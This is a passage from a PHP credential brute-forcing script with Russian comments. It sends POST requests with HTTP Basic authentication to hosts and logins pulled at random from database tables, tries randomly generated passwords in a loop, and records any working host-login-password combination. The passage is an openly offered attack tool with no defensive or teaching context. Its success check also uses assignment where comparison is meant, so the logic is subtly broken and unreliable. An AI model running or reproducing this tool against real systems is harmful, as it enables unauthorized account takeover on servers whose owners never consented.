'val_1', 'field2' => 'val_2', ]; $headers = [ "Authorization: Basic " . base64_encode($login . ":" . $pwd) . "\r\n" ]; // заголовки запроса $post_data = http_build_query($post_data); $curl = curl_init(); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curl, CURLOPT_TIMEOUT, 10); //timeout in seconds curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_VERBOSE, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос $result = trim(curl_exec($curl)); $http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE); $res['http']=$http_code; //echo $http_code; if (findtxt($http_code, '401')==1) $res['res']='bad'; if (findtxt($http_code, '200')==1) $res['res']='good'; return $res; //if ($result=='Unauthorized') return 'bad'; else return 'good'; } for($i = 0; $i < 1500; $i++){ $password = gen_random(5, 15); //Берем рандомный хост $host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1'); //Берем рандомный login $login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1'); //узнаем буртили ли такой пароль... $id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password); if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password))); $id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=?", array($host, $login, $password)); if (!$id){ $res=brut($login, $password, $host); if ($res['res']='good') { DB::add("INSERT INTO `brut_good` (`host`, `login`, `pwd`) VALUES(?, ?, ?)", array($host, $login, $password)); die('pwd: ' . $password); }else{ if ($res['http'])DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `http`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http'])); } } unset($id); } ?>